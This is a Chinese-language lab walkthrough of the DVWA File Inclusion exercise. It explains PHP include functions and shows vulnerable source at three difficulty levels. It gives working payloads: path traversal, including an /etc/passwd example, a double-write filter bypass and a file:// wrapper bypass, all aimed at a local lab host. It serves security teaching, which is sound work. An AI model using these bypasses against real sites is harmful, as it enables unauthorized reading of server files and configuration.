File Inclusion

File Inclusion(文件包含),是指当服务器开启了allow_url_include选项时,通过一些PHP的特性函数(比如:include()require()include_once()require_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含 分类

本地文件包含

当被包含的文件在本地服务器时,就叫做本地文件包含

  • 例:../../../../../etc/passwd

远程文件包含

当被包含的文件在第三方服务器时,就叫做远程文件包含

  • 例:http://www.baidu.com 可以直接打开百度

特性函数 区别

include()

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

include_once()

功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。

require()

require()include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用。
require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。

require_once()

它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

Low

源码分析

Low 源码中没有做任何的过滤

1
2
3
4
5
6
7
<?php

// The page we wish to display
//直接获取page参数,未做任何过滤
$file = $_GET[ 'page' ];

?>

漏洞利用

点击靶场提供的file1.php获取漏洞利用链接

1
http://192.168.199.236/dvwa/vulnerabilities/fi/?page=file1.php

我们可以尝试去查看该主机上的文件

1
http://192.168.199.236/dvwa/vulnerabilities/fi/?page=./../../phpinfo.php

除了能看到PhpInfo信息之外
我们还能看到远程服务器的物理路径

Medium

从源码中我们可以发现
../..\http://https:// 会被替换空
这里我们可以使用双写绕过法

源码分析

1
2
3
4
5
6
7
8
9
10
11
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//将参数中的http:// https:// ../ ..\都替换成空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

漏洞利用

我们可以使用双写法构建绕过

原始字段 双写法绕过
http:// hthttp://tp://
https:// hthttps://tps://
…/ …/./
…\ ….\

所以我们直接构建Payload进行尝试

1
http://192.168.199.236/dvwa/vulnerabilities/fi/?page=./..././..././phpinfo.php

High

源码分析

从源码中分析可知
现在需要匹配以file开头或者include.php的文件
否则网页就会输出ERROR: File not found!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//文件名必须以file开始,或只能为include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

漏洞利用

我们需要构建一个file://伪协议Payload

  • 难点:需要通过其他方法知道绝对路径
1
http://192.168.199.236/dvwa/vulnerabilities/fi/?page=file:///C:/xp.cn/www/wwwroot/admin/dvwa/phpinfo.php

参考 & 引用

https://zhuanlan.zhihu.com/p/565945383
https://www.cnblogs.com/chadlas/articles/15719775.html
https://blog.csdn.net/Wu000999/article/details/101925271